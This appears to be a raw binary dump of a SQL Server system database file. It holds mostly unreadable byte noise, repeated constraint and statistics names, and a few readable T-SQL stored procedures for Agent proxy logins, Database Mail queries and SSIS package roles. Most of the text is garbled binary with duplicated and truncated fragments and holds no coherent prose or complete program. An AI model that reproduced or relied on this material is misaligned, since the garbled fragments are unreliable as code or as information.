JDF__sysmail_p__last___0A688BB1&9JDF__sysmail_a__last___0E391C95&@-JDF__sysmail_a__last___0F2D40CE&JDF__sysmail_p__last___12FDD1B2&JDF__sysmail_p__last___13F1F5EB&W JDF__sysmail_s__enabl__2057CCD0&	K!JDF__sysmail_s__flags__214BF109&&&JDF__sysmail_c__last___2610A626&_'JDF__sysmail_c__last___2704CA5F&
7)JDF__sysmail_m__send___29E1370A&C[*JDF__sysmail_m__send___2AD55B43&|+JDF__sysmail_m__sent___2BC97F7C&,JDF__sysmail_m__last___2CBDA3B5&DZ-JDF__sysmail_m__last___2DB1C7EE&Ӟ:JDF__sysmail_a__last___3A179ED3&;JDF__sysmail_a__last___3B0BC30C&
	CJDF__sysmail_l__log_d__43A1090D&F-DJDF__sysmail_l__last___44952D46&QEJDF__sysmail_l__last___4589517F&NJJDF__sysmail_q__creat__4A4E069C&Gs*MJDF__sysmail_a__creat__4D2A7347&%X&ConvertToInt&"JDF__sysdbmain__date___220B0B18&Q/"JDF__sysdbmain__owner__22FF2F51&S#JDF__sysdbmain__max_h__23F3538A&w$JDF__sysdbmain__remot__24E777C3&%JDF__sysdbmain__max_r__25DB9BFC&p.JDF__sysdbmain__plan___2E70E1FD&6e/JDF__sysdbmain__plan___2F650636&o*Y0JDF__sysdbmain__serve__30592A6F&NM1JDF__sysdbmain__succe__314D4EA8&rA2JDF__sysdbmain__end_t__324172E1&53JDF__sysdbmain__durat__3335971A&S)4JDF__sysdbmain__error__3429BB53&T<*backupmediaset&I>0backupmediafamily&qAJDF__backupmed__mirro__4183B671&wB backupset&UGTE,backupfilegroup&0H"backupfile&劖TJDF__suspect_p__last___54968AE5&tC[JDF__log_shipp__allow__5B438874&A
JDF__syscollec__is_ru__0DCF0841&z,JDF__syscollec__colle__0EC32C7A&PJDF__syscollec__loggi__0FB750B3&tJDF__syscollec__dump___10AB74EC&CJDF__syscollec__is_sy__1EF99443&pJDF__sysdac_in__descr__0C70CFB4&d
JDF__sysdac_in__date___0D64F3ED&&YJDF__sysdac_in__creat__0E591826&
)JDF__sysdac_hi__creat__1229A90A&CJDF__sysdac_hi__date___131DCD43&|JDF__sysdac_hi__date___1411F17C&52dCK_sysutility_ucp_processing_state_internal& 3JDF__log_shipp__backu__33208881items_mailitem_id&Ӟ:JDF__sysmail_a__last___3A179ED3&;JDF__sysmail_a__last___3B0BC30C&/=JPK__sysmail___C010B7E1DBA62588&S>>FK_mailitems_mailitem_id&)x?JDF__sysmail_s__send___3FD07829&b@JDF__sysmail_s__last___40C49C62&
	CJDF__sysmail_l__log_d__43A1090D&F-DJDF__sysmail_l__last___44952D46&QEJDF__sysmail_l__last___4589517F&cYIJPK__sysmail___DD70126420ED5B95&NJJDF__sysmail_q__creat__4A4E069C&O6LJPK__sysmail___78E6FD33C37F3600&Gs*MJDF__sysmail_a__creat__4D2A7347&%X&ConvertToInt&jn0InternalMailQueue&W0ExternalMailQueue&'0FK_subplan_job_id&JDF__sysmaintp__msx_j__0C1BC9F9&2
8FK_subplan_msx_job_id&k:FK_subplan_schedule_id&6JDF__sysmaintp__msx_p__0EF836A4&OJFK_sysmaintplan_log_subplan_id&JDF__sysmaintp__logge__12C8C788&RFK_sysmaintplan_log_detail_task_id&"JDF__sysdbmain__date___220B0

<
^		6B 

Hd
j
		&PtR*0z&pNHx. >f"Dl`Fjh,Rpv8
Z"w[q&
^vV8@!!!!`
)\"H
x\$nGZ&gJDF__MSdbms_da__creat__1367E606&v8JDF__MSdbms_ma__src_l__173876EA&#,JDF__MSdbms_ma__src_l__182C9B23&\ JDF__MSdbms_ma__src_p__1920BF5C&JDF__MSdbms_ma__src_p__1A14E395&	JDF__MSdbms_ma__src_s__1B0907CE&,JDF__MSdbms_ma__src_s__1BFD2C07&@PJDF__MSdbms_ma__src_n__1CF15040&ytJDF__MSdbms_ma__defau__1DE57479&M#JDF__MSdbms_da__dest___239E4DCF&r$JDF__MSdbms_da__dest___24927208&A%JDF__MSdbms_da__dest___25869641&zz&JDF__MSdbms_da__dest___267ABA7A&n'JDF__MSdbms_da__dest___276EDEB3&c(JDF__MSdbms_da__datal__286302EC&B.@default_sdl_error_message&{/6default_current_date&$0&default_zero&H0$default_one&^=PCK_originating_server_id_MustBe_1&DhF?@CK_master_server_MustBe_1&I0jJDF__syscached__cache__6A30C649&p*agent_datetime&%X&ConvertToInt&T<*backupmediaset&I>0backupmediafamily&qAJDF__backupmed__mirro__4183B671&wB backupset&UGTE,backupfilegroup&0H"backupfile&劖TJDF__suspect_p__last___54968AE5&tC[JDF__log_shipp__allow__5B438874&52dCK_sysutility_ucp_processing_state_internal& 3JDF__log_shipp__backu__33208881&ʈdDavailability_groups_cluster&'
Vavailability_read_only_routing_lists&p]COLUMNS&78availability_replicas&4availability_groups&@{<CONSTRAINT_COLUMN_USAGE&V4COLUMN_DOMAIN_USAGE&Javailability_databases_cluster&Favailability_group_listeners&S0CHECK_CONSTRAINTS&:CONSTRAINT_TABLE_USAGE&bĶ0COLUMN_PRIVILEGES&Ν^availability_group_listener_ip_addresses&@column_store_dictionaries&8column_store_segments&
Vdatabase_audit_specification_details&Hdatabase_audit_specifications&<conversation_priorities&
:change_tracking_tables&!2column_type_usages&$Tcolumn_xml_schema_collection_usages&+,asymmetric_keys&-&certificates&..crypt_properties&@*database_files&A:conversation_endpoints&B4conversation_groups&I<destination_data_spaces&L$data_spaces&P4assembly_references&Q*assembly_files&R"assemblies&S6database_permissions&T8database_role_members&V4database_principals&X*assembly_types&_.assembly_modules&h4default_constraints&i0check_constraints&p.allocation_units&u.computed_columns&ycolumns&Ddatabase_filestream_options&@change_tracking_databases&<cryptographic_providers&>database_recovery_status&2database_mirroring&$credentials&Fdatabase_mirroring_endpoints& *configurations&)*backup_devices&*Fdatabase_mirroring_witnesses&+ databases&,all_sql_modules&*all_parameters&$all_columns& all_views&$all_objectsz,JDF__syscollec__colle__0EC32C7A&PJDF__syscollec__loggi__0FB750B3&tJDF__syscollec__dump___10AB74EC&CJDF__syscollec__is_sy__1EF99443&pJDF__sysdac_in__descr__0C70CFB4&d
JDF__sysdac_in__date___0D64F3ED&&YJDF__sysdac_in__creat__0E591826&
)JDF__sysdac_hi__creat__1229A90A&CJDF__sysdac_hi__date___131DCD43&|JDF__sysdac_hi__date___1411F17C&52dCK_sysutility_ucp_processing_state_internal& 3JDF__log_shipp__backu__33208881&ʈdDavailability_groups_cluster&'
Vavailability_read_only_routing_lists&p]COLUMNS&78availability_replicas&4availability_groups&@{<CONSTRAINT_COLUMN_USAGE&V4COLUMN_DOMAIN_USAGE&Javailability_databases_cluster&Favailability_group_listeners&S0CHECK_CONSTRAINTS&:CONSTRAINT_TABLE_USAGE&bĶ0COLUMN_PRIVILEGES&Ν^availability_group_listener_ip_addresses&@column_store_dictionaries&8column_store_segments&
Vdatabase_audit_specification_details&Hdatabase_audit_specifications&<conversation_priorities&
:change_tracking_tables&!2column_type_usages&$Tcolumn_xml_schema_collection_usages&+,asymmetric_keys&-&certificates&..crypt_properties&@*database_files&A:conversation_endpoints&B4conversation_groups&I<destination_data_spaces&L$data_spaces&P4ass>f"Dl`8,R"NBtrrz$
F
	

NR
FvF`
2LDd	8		

 vBnP
Z"y[t$lk^x
W88$!!!!`
"zWkL~#k(+DW0h@9ILPǏSRZ0]O_ƺvBU:Ҳƒ<eȲ@'P5]*0sl3lfzFO=PRrSCV#Z8crݘuσ_6?$緰	%U3IU-B#$%0,sq5;GQRcHg
X;
1ȑv=_ $-'4='Gh[GieH4H4J}~N]NʈdAlK(N7K٣coWFȾL"ͲR
ӹ2Do)d+;6=K:K4FOOTgojr)t}#|ˢ:cfpZn|yNcse!1950+8859;CVeDNuUzcYYnhi(n#hnGuY͘@	6xc7]b}s57
,I<$p%%
[034B E9mLN9Uegh{'z>S&&R^ac~!E+mYG€
H@.OO1TVNZbty{}FEwOjmTQu
4EnGg^]	o ҉(".3$=CXZ^N[cje3fB
;q{B&BeZN'
Q.TUpT*WtqceU{gviqz}M cЯɫ+n6tuv\p"Fm8Wj/nv|E`nW%a6\̲UW@5jYcRnR!P;|Qp]7cnyff
zRφj(Ɯ&ޚ6h|T6w!Ӫ2ҜB|FInSfwfthke8KpO9CeO
@kK|&c+
3<sdZi,.m}XsqoAfCsU}y/'7zYNG=>WQ)z/(W32@HleozePV6֜2o7ʷ;xQ</N#h$,+3 6!9EQnd8!qusxrܞ~>)<D/VJ[FkDIE L5(2#]3	6W8:EGJ`HWa܉qf,wFw/u9bFdas$l;$$=Ԋ賴's%c	7
+V/*p0w17#8?fC-I2LUZ\&nwJg$uY*0?`js|_.75v	Z&:>MOIMTwXȳcWi5ouә0Cʫ]P}XW&I3
&2oESSa*т@U)I=OMՌT<u@
pR"$9<F|RT)`	iwGyl8}㜂T'Vȼ͈WwL$c
*o/#/91GJ|5O>'kРݢ}>t3\ Pz.&{
,1D2"AIZiS;dmi3l=r/ U=bLx9WCiexndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* 












v
l
b
X
N
D
:
0
&



|rh^TJ@6,"xndZPF<2(












~
t
j
`
V
L
B
8
.
$



													z	p	f	\	R	H	>	4	*	 				vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`VLB8.$zpf\RH>4* vlbXND:0&|rh^TJ@6,"xndZPF<2(
~tj`
Z"{\D/D+^z9:8!!!!`'64|O'0'9clust0'9clust'0'7clst0'7clst0'5nc10'5nc20'3cl0'3cl0'7clst0'7clst0'3nc0'3cl0'3nc0'5nc20'7clst0'7clst0'3cl0'5nc10'3cl0'7clst0'		7clst0' a_WA_Sys_00000006_000000180' a_WA_Sys_00000005_000000180' a_WA_Sys_00000003_0000001B0' a_WA_Sys_0000000A_0000001B0' a_WA_Sys_00000005_0000001B0' a_WA_Sys_00000003_00000018:7clst0'::5nc10'aa7clst0'aa5nc10'NN3cl0'NN3nc0'ZZ7clst0'ZZ5nc10'[[3cl0'[[5nc10'\\3cl0']]3cl0']]5nc10'CC7clst0'CC5nc10'CC5nc20'GG7clst0'EE7clst0'EE5nc10'EE5nc20'DD7clst0'HH3cl0'II3cl0'^^3cl0'..3cl0'..5nc10'..5nc20'..5nc30'__3cl0'__5nc10'__5nc30'``7clst0'``5nc10'``5nc20'))3nc0'3cl0'3cl0'7clst0'7clst0'3nc0'bb7clst0'bb5nc10'u\{EFSTSClusIdx0'u\{AFSTSNCIdx0'|Gci_commit_ts0'|	Csi_xdes_id0'3cl0'3nc0'5nc20'Xv
Yqueue_clustered_index0'XvYqueue_secondary_index0'xYqueue_clustered_index0'x
Yqueue_secondary_index0'<8zYqueue_clustered_index0'<8zYqueue_secondary_index0';;9clust0'RR7clst0'UU7clst0'775nc10'7clst0'VV7clst0'VV=nonclst0'VVAnonclstgi0'WW7clst0'7clst0'x}GFFtUpdateIdx0'>>9clust0'??9clust0'PP3cl0'7clst0'5nc10'5nc20'887clst0'885nc10'003cl0'//3cl0'--7clst0'997clst0'**3cl0'**5nc10'**5nc20'++3cl0'++5nc10'3cl0'5nc10'3cl0'7clst0'TT3cl0'YY7clst0'YY5nc10'OO7clst0'		7clst0' a_WA_Sys_00000006_000000180' a_WA_Sys_00000005_000000180' a_WA_Sys_00000007_0000001D0' a_WA_Sys_00000006_0000001D0' a_WA_Sys_00000005_0000001D0' a_WA_Sys_00000004_0000001D0' a_WA_Sys_00000003_0000001D0' a_WA_Sys_00000002_0000001D0' a_WA_Sys_00000003_0000001B0' a_WA_Sys_0000000A_0000001B0' a_WA_Sys_00000005_0000001BR\)"zEU2rk4O;MwB`r
Z6}M%nʨ^|f8!!!!`	Z6h~Uv%EF6B_WA_Sys_00000004_0000001D6B_WA_Sys_00000003_0000001D6B_WA_Sys_00000002_0000001D6B_WA_Sys_00000003_0000001B6JB_WA_Sys_00000003_0000004A6JB_WA_Sys_00000001_0000004A6@B_WA_Sys_00000002_0000004006"UB_WA_Sys_00000003_0F9755226"UB_WA_Sys_00000002_0F9755226B_WA_Sys_00000003_117F9D946B_WA_Sys_00000002_117F9D946]!B_WA_Sys_00000003_21B6055D6]!B_WA_Sys_00000002_21B6055D6x.P
B_WA_Sys_00000003_15502E786x.PB_WA_Sys_00000002_15502E786^B_WA_Sys_00000003_0000005E6^B_WA_Sys_00000002_0000005E|F76)B_WA_Sys_00000004_000000296)B_WA_Sys_00000002_0000002966B_WA_Sys_00000002_0000003662B_WA_Sys_00000004_000000326+\B_WA_Sys_00000001_5CD6CB2B6KB_WA_Sys_00000003_0000004B6KB_WA_Sys_00000001_0000004BaV/86:B_WA_Sys_00000004_0000003A6:B_WA_Sys_00000003_0000003A6:B_WA_Sys_00000002_0000003A66B_WA_Sys_00000004_00000036VMO:QfS@[Y=ykZ>p6':B_WA_Sys_00000003_3A81B3276eQB_WA_Sys_00000003_5165187F6eQB_WA_Sys_00000002_5165187F6=ykB_WA_Sys_00000001_6B79F03D6=ykB_WA_Sys_00000002_6B79F03D6,B_WA_Sys_00000004_0000002C6,B_WA_Sys_00000002_0000002C.^6
B_WA_Sys_00000002_0AF29B966Dڎ'B_WA_Sys_00000002_278EDA4464B_WA_Sys_00000002_34C8D9D16.^B_WA_Sys_00000003_5EDF0F2E6.^B_WA_Sys_00000002_5EDF0F2E6)zB_WA_Sys_00000003_7A8729A36)zB_WA_Sys_00000002_7A8729A3Ar6ro|B_WA_Sys_00000002_7C6F72156AB_WA_Sys_00000003_1CDC41A76)B_WA_Sys_00000003_000000292*V*
{+F,-./*00cT1Gr5!Xր]Ebps'4_@4m61B_WA_Sys_00000004_0000003161B_WA_Sys_00000003_0000003161B_WA_Sys_00000002_000000316<B_WA_Sys_00000003_0000003C6<B_WA_Sys_00000002_0000003C6B_WA_Sys_00000003_000000186"B_WA_Sys_00000003_000000226mRB_WA_Sys_00000003_1352D76D6s{FB_WA_Sys_00000002_46D27B736(CB_WA_Sys_00000002_4316F9286fSB_WA_Sys_00000001_53A266AC=7a80003_0000004B6KB_WA_Sys_00000001_0000004BaV/86:B_WA_Sys_00000004_0000003A6:B_WA_Sys_00000003_0000003A6:B_WA_Sys_00000002_0000003A6T<4backupmediasetuuid66B_WA_Sys_00000004_000000366I>:backupmediafamilyuuid6wB*backupsetuuid6wB*backupsetDateVMO:QfS@[Y=ykZ>p6':B_WA_Sys_00000003_3A81B3276eQB_WA_Sys_00000005_5165187F6eQB_WA_Sys_00000004_5165187F6eQB_WA_Sys_00000003_5165187F6eQB_WA_Sys_00000002_5165187F6
B_WA_Sys_00000007_0AF29B966=ykB_WA_Sys_00000001_6B79F03D6'B_WA_Sys_00000009_1C1D27986'B_WA_Sys_00000008_1C1D27986'B_WA_Sys_00000007_1C1D27986'B_WA_Sys_00000006_1C1D27986=ykB_WA_Sys_00000002_6B79F03D6,B_WA_Sys_00000004_0000002C6,B_WA_Sys_00000002_0000002C.^6
B_WA_Sys_00000002_0AF29B966Dڎ'B_WA_Sys_00000002_278EDA4464B_WA_Sys_00000002_34C8D9D16.^B_WA_Sys_00000003_5EDF0F2E6.^B_WA_Sys_00000002_5EDF0F2E6)zB_WA_Sys_00000003_7A8729A36)zB_WA_Sys_00000002_7A8729A3Ar6ro|B_WA_Sys_00000002_7C6F72156KB_WA_Sys_00000008_7F4BDEC06AB_WA_Sys_0000000D_1CDC41A76AB_WA_Sys_0000000C_1CDC41A76AB_WA_Sys_00000006_1CDC41A76AB_WA_Sys_00000003_1CDC41A76)B_WA_Sys_00000003_000000296"B_WA_Sys_00000009_000000222*V*
{+F,-./*00cT1Gr5!Xր]Ebps'4_@4m61B_WA_Sys_00000004_0000003161B_WA_Sys_00000003_0000003161B_WA_Sys_00000002_000000316@B_WA_Sys_00000005_000000406<B_WA_Sys_00000005_0000003C6<B_WA_Sys_00000004_0000003C6<B_WA_Sys_00000003_0000003C6<B_WA_Sys_00000002_0000003C6`B_WA_Sys_00000004_000000606B_WA_Sys_00000003_000000186"B_WA_Sys_00000003_000000226mRB_WA_Sys_00000003_1352D76D6s{FB_WA_Sys_00000002_46D27B736(CB_WA_Sys_00000002_4316F9286fSB_WA_Sys_00000001_53A266ACx&z
r	lL
j(N*HFV0t@
l20	

D

Dj
	(rJ
n
>
b
	2
&
\P


V
:`
Z6P.B)^~i8!!!!`<
Mg5J0h  
8
CREATE PROCEDURE dbo.sp_revoke_login_from_proxy
   @name         NVARCHAR(256),
   @proxy_id        INT = NULL,
   @proxy_name    sysname = NULL
   -- must specify only one of above parameter to identify the proxy
AS
BEGIN
   DECLARE @retval   INT
   DECLARE @sid VARBINARY(85)
   DECLARE @is_sysadmin BIT
   DECLARE @flags INT
   DECLARE @affected_records INT = 0
   
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))
   SELECT @name                    = LTRIM(RTRIM(@name))

   -- Turn [nullable] empty string parameters into NULLs
   IF @proxy_name         = '' SELECT @proxy_name = NULL
   IF @name               = '' SELECT @name = NULL
    
   EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
   IF (@retval <> 0)
     RETURN(1) -- Failure
    
  -- is login member of sysadmin role?
  SELECT @is_sysadmin = 0
  IF (@name IS NOT NULL)
  BEGIN
    EXEC @is_sysadmin = sp_sqlagent_is_srvrolemember N'sysadmin', @name -- check role membership 
  END

  IF (@is_sysadmin = 1)
  BEGIN
    -- @name is sysadmin, it cannot be revoked from proxy
    -- issue a message and do nothing
    RAISERROR(14395, 10, -1, @name)
    RETURN(1) -- Failure
  END
  ELSE
  BEGIN  
    DECLARE revoke_cursor CURSOR LOCAL 
	FOR
	SELECT flags FROM sysproxylogin WHERE proxy_id = @proxy_id
	
	OPEN revoke_cursor
	FETCH NEXT FROM revoke_cursor INTO @flags
  
	WHILE (@@fetch_status = 0)
	BEGIN
		if @flags = 1 OR @flags = 0 -- @flags with value 1 indicates fixed server role, flags with value 0 indicates login, both sid(s) should be read from sys.server_principals
			SELECT @sid = SUSER_SID(@name, 0) --force case insensitive comparation for NT users
		ELSE 
			SELECT @sid = sid FROM msdb.sys.database_principals WHERE  name = @name -- @flags with value 2 indicates MSDB role

		--check parametrs validity
		IF (ISNULL(@sid, 0) <> 0)
		BEGIN
		   DELETE FROM sysproxylogin WHERE
									   proxy_id = @proxy_id AND 
									   sid = @sid AND
									   flags = @flags
		   SELECT @affected_records = @affected_records + @@ROWCOUNT
		END
		
		FETCH NEXT FROM revoke_cursor INTO @flags
	END
	
	CLOSE revoke_cursor
	DEALLOCATE revoke_cursor

	if @affected_records = 0
    BEGIN
       RAISERROR(14523, -1, -1, @name, @proxy_name)
       RETURN(1) -- Failure       
    END   
  END

  RETURN(0)
END
0M 8
CREATE PROCEDURE [dbo].[sp_RunMailQuery]
   @query                      NVARCHAR(max),
   @attach_results             BIT,
   @query_attachment_filename  NVARCHAR(260) = NULL,
   @no_output                  BIT,
   @query_result_header        BIT,
   @separator                  VARCHAR(1),
   @echo_error                 BIT,
   @dbuse                      sysname,
   @width                      INT,
   @temp_table_uid             uniqueidentifier,
   @query_no_truncate          BIT,
   @query_result_no_padding    BIT
AS
BEGIN
    SET NOCOUNT ON
    SET QUOTED_IDENTIFIER ON

    DECLARE @rc             INT,
            @prohibitedExts NVARCHAR(1000),
            @fileSizeStr    NVARCHAR(256),
            @fileSize       INT,
            @attach_res_int INT,
            @no_output_int  INT,
            @no_header_int  INT,
            @echo_error_int INT,
         @query_no_truncate_int INT,
         @query_result_no_padding_int   INT,
            @mailDbName     sysname,
            @uid            uniqueidentifier,
            @uidStr         VARCHAR(36)

    --
    --Get config settings and verify parameters
    --
    SET @query_attachment_filename = LTRIM(RTRIM(@query_attachment_filename))

    --Get the maximum file size allowed for attachments from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'MaxFileSize', 
                                                @parameter_value = @fileSizeStr OUTPUT
    --ConvertToInt will return the default if @fileSizeStr is null
    SET @fileSize = dbo.ConvertToInt(@fileSizeStr, 0x7fffffff, 100000)

    IF (@attach_results = 1)
    BEGIN
        --Need this if attaching the query
        EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ProhibitedExtensions', 
                                                    @parameter_value = @prohibitedExts OUTPUT

        -- If attaching query results to a file and a filename isn't given create one
        IF ((@query_attachment_filename IS NOT NULL) AND (LEN(@query_attachment_filename) > 0))
        BEGIN 
          EXEC @rc = sp_isprohibited @query_attachment_filename, @prohibitedExts
          IF (@rc <> 0)
          BEGIN
              RAISERROR(14630, 16, 1, @query_attachment_filename, @prohibitedExts)
              RETURN 2
          END
        END
        ELSE
        BEGIN
            --If queryfilename is not specified, generate a random name (doesn't have to be unique)
           SET @query_attachment_filename = 'QueryResults' + CONVERT(varchar, ROUND(RAND() * 1000000, 0)) + '.txt'
        END
    END

    --Init variables used in the query execution
    SET @mailDbName = db_name()
    SET @uidStr = convert(varchar(36), @temp_table_uid)

    SET @attach_res_int        = CONVERT(int, @attach_results)
    SET @no_output_int         = CONVERT(int, @no_output)
    IF(@query_result_header = 0) SET @no_header_int  = 1 ELSE SET @no_header_int  = 0
    SET @echo_error_int        = CONVERT(int, @echo_error)
    SET @query_no_truncate_int = CONVERT(int, @query_no_truncate)
    SET @query_result_no_padding_int = CONVERT(int, @query_result_no_padding )

    EXEC @rc = master..xp_sysmail_format_query  
                @query        = @query,
                @message      = @mailDbName,
                    @subject     = @uidStr,
                    @dbuse       = @dbuse, 
                    @attachments = @query_attachment_filename,
                    @attach_results = @attach_res_int,
                    -- format params
                    @separator      = @separator,
                    @no_header      = @no_header_int,
                    @no_output      = @no_output_int,
                    @echo_error     = @echo_error_int,
                @max_attachment_size = @fileSize,
                    @width       = @width, 
                    @query_no_truncate = @query_no_truncate_int,
                    @query_result_no_padding    = @query_result_no_padding_int
   RETURN @rc
END
0#
u 8CREATE PROCEDURE [dbo].[sp_ssis_getpackageroles]
  @name sysname,
  @folderid uniqueidentifier
AS
  DECLARE @readrolesid varbinary(85)
  DECLARE @writerolesid varbinary(85)
  DECLARE @readrole nvarchar(128)
  DECLARE @writerole nvarchar(128)
  SELECT
      @readrolesid = [readrolesid],
      @writerolesid = [writerolesid]
  FROM
      sysssispackages
  WHERE
      [name] = @name AND
      [folderid] = @folderid
  SELECT @readrole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @readrolesid
  SELECT @writerole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @writerolesid
  SELECT @readrole AS readrole, @writerole AS writerole
0 %8((0))     ELSE RTRIM(pc.instance_name)
            END AS 'instance_name',
            pc.cntr_value,
            pc.cntr_type,
            SERVERPROPERTY('ServerName') AS 'server_name'
    FROM sys.dm_os_performance_counters pc
0}Hh %8((0))0<i %8((0))0I0j +8(getdate())]/F0B??~0,\j?WpKl@rM'iC`
Z<P^+,/8d
1X0$ !!!!`
Z
׍^*8`
ZB2g.^8!!!!`<S%HeF0<[$]	]]?,0<55@B@k2I`w/F]t,CZq)@Wn&=T?????????????????????????????????!??d???f???h???j???l???n???p???r???t???v???x??y??????????????,???.???0???2???4???6???8???:???<???>???@???B?@?F???H??I??h???j???l???n???p???r??s??|??}0<[$]	]]?>>C2<,0<,0<,0<AB@@?@?@@B?0<\$Ac	aaJ?
ף<?(<AB@@&=Tk#:Qh	 7Ne|?????????????????????????????!??d???f???h??l???n??o@@@q@@@s???u???w???y?????@?A?,A?-??8@@?D@@?E@@@G??H0<]$	?p=p=		AA@@H_v???????.?@@?k???m???o???q???s??|0<]$	?=p=p=@AA@@@UXo'>@@?????f??p@@?q@?x????,???.??|??}0<^"0<_"0<_"0<_"0<`"0<`"0<`"0<a"0<a"0<Xv "0<Xv "0<x "0<x "0<<8z "0<<8z "0<b "0<b "0<u\{ "0<u\{ "0<| "0<|"0<Xv "0<Xv "0<x "0<x "0<<8z "0<<8z "0<x} "0<"U "0< "0<"U "0<"U "0< "0< "0<$XZ?@A?@A+ks0??#bigint((bigint@0<$YZ?@?@'??0<x.P "0<]! "0<]! "0<]! "0<]! "0<]! "0<]! "0<]! "0<x.P "0<x.P "0<x.P "0<x.P "0<x.P "0<x.P "0<x.P "0<x.P	 "0<x.P
 "0<x.P "0<x.P "Ty0Uz1V
{2W|3X}4-?awU31eC!qOcA+	K`/<-	+p	JȐ0<6$9~	NN8?.<!
R<''AB@@8Of}5Lcz2I`w/F]t??????????
??????@@???@?"@?)@?,@?.??1@@?2@?3@?6??7@?:??<@?@??A@@?C??D@@?E?@?I@@@K??L@?N@?Z@?[??\@?]??^@@@@@@`@?a@?Xv@@@<8z0<6$~	NN=!
R<!
R<		AB?UUA@@)HcV0A?cl0A?clst0A?!clust0@?nc0pA?nc10@?nc20@@?nc30@@?Aqueue_clustered_index0@@?Aqueue_secondary_index
(( clstustnc12queue_clustered_index@	
0<7$X	(!><{T<;((@A@C@@@@Wn&=Tk#:Qh	 7Ne|@?????@?
????@@?@?@?A?"@?)@?,@?.@?1@?2@?3@?6@@?7@?:@?<@?@@?A@?C@@?D@?E??G??H@?IA?J A?K@?L@?N@?Z@?[@?\@?]@@@@@@_@@@a A?Xv A A A<8z0<6$a<;ZL?6W=@4C@x0G^u@?B?,B?A?@?@@@@????	?????A?@?@@??????0<6 "0<6$[=

@C@6>Pg~@?`A?A?A?+@?K@?\B? ????B?H_v.E\@???@?@?@??????@?@?A?"@?)@?,@?.@?1@?2@?3@?6@@?7@?:@?;@?<@?@@?A@?C@@?D@?E??G??H@?IA?J A?K@?N@?R@@?U@?Z@?[@?\@?]@@@@@@_@@@a@A?b0A?Xv0A0A0A<8zA?u\{@?|0<8 "0<8"0<9 "0<6 "0<6$a<;ZL?6W=@4C@x0G^u@?B?,B?A?@?@@@@????	?????A?@?@@??????0<: "0<6 "JXvoJ
%`
Z#_^s8`lEVj0d:\YukSp2CU\sql\ntdbms\scripts\usa\x86\model.mdf0d:\YukSp2CU\sql\ntdbms\scripts\usa\x86\modellog.ldf!!!!`
V@}S?j-.,ijpkql.mqnqoxpxqrs|I}|ftu
	


 ! "!x"#!#$!$%x%&&'(')(*)+*,+x,-+-.+./+/0+011) 8
) 4) 4
) 4
)
 )
 8
	)
 8
)
 4)
 0)
 4)
 0)
 0)
	 8
	)

 4
)
 4!)
 0#)

 0$
)
 4%)
 4') ) 8
) 0) 4) 8
) 4) 4) 4)	 	) 8
) 8
) 8
) )=)=) !) 8
))	 -	)
5
) 0) ) 

) 8
) 4) )U))4) 8
	) =
)	 =	) 0) 8
) 8
	) 8


) 8
) ) )" 8
)" 4)" 8
)" 0)" 8

)" )" 8
)" 0)"	 8
	)"
 =
)" =$)) 8
)) 4)) 8

))4)) 0)) 8
)) 4)) 0))	 0	))
 8

)) 8
)) 4))
 8
!
)) 8
%)) 8
))_ 8
)_ 4)_  )_ 8
)_ )_ =)_)_ )_	 	)` 8
)` 4)` 0)` 8
	)`)` 8

)` =)` =)D 0M)D 8
N)D)H $)H $)H 0$)H %)H -)I $)I 0)I $)I %)I 8
-)I 8
1)I 5)I =7)I	 8
?	)I
 8
C
)I $G)I W)I
 _
)I g)I o)I 8
w)I ={)I =)I 8
)I 8)I $)I 8
)I 8)I $)I )I)^ 0)^ 8
)^  )^ 	)^ )^ 8

). 8
). 4). t). ).  ).). ). ).	 8

	)_ 8
//////////{N!m@_2~pV<"y_RE8+uhN4'
~qdW	`m/l#0J=}cI[Az
ZEM$^8!!!!`<CEy0<K$[
1\

\9?7;,;l:G(9G(9A[E@?@@@(?Vm%<Sj"9Pg~		6	M	d	{						

3
J
a
x





0G^u-D[r
*
A
X
o






'>Ul
$;Ri
!8Of}5Lcz2I`w/F]t,CZq)@Wn&=Tk#:Qh??@@UU@@@?@@@@??@@@????@??@?!?@?)?@?/?pA?A??B?@?J?@?Q?@?W?@?a???c?pA?t?@?z?@?@@@@?A@?w!A?\1i??;@?EA?֣@@? A?$A?iM\B?HA?N]?	@?q	A?ە
A?l
B?
B?\ A?A?Mޅ??z
A?&npA?P"??Jb@A?ZA?e!@@@jJ@?>@A?4^??2`A?mR`A?@?'B?|@@@@	*p??34@@?BNdA@???L@?ðB@@?zB@?'??FB?AA?" @?! A?'%"@@?`I#0A?]($@?PE&@?&0A?5&A?Dڎ'B?'@A?,)@?7,`A?aS,@?,@??;.@@?>0@?b1B?&m1??h2A?_2B?Dj3B?3pA?3??ϓ4A?4@@?5@?|6@?C"6@@@@|F7A?aV/8??`d8PB?j8@?ĄX9B?9??9@@?L:0A?':B@@?ҕ;@?T<A?~<@?9I=A??r>@?I>@?^?`A@?Z@@?@A?A@?AA?"BA?wBPA?CB?(C@@@+DB?AD@?UGTE@A?:WEB?eEPA?s{F@@@0HpA@@@~H@@@ 
K@?*BKC?)?K`A?bcL@@@?VM@?SN`A?eN@?GO@?OA?;PB@@eQ@@@@@I8yRA@@?VPB?WtB?rWA?X@@@0X@?+XB?@[Y@@@@enZ@@@x[??7\@A?׶l\ A?\XB?+\A?`]B?d]@?^@A?.^PA@?7_A?vM``A?\`B?Ha@@?a@?-%bA?b@?<b??fcB?ȃc@?
dA?wd@?,leA?e@?e5`fA?>o3h??iA?Pj@?$kB?=yk@@@2
m@?Mm??-Wn@@?f{n@?Ko??o@?0	pA?Z>pA?q@@?JrA?s@?0s@?h@Dt@@?Jyt??#Ft@?Tt A@@?ix@@@?yRz??.gz A?)z@@?KR[{??g:|@?ro|8B@?K???`[@	&sp??:@@>sĚ?B[t@5#v?@܊@@3\ X>?	Y@i/`?Ȗ@@%@9.@
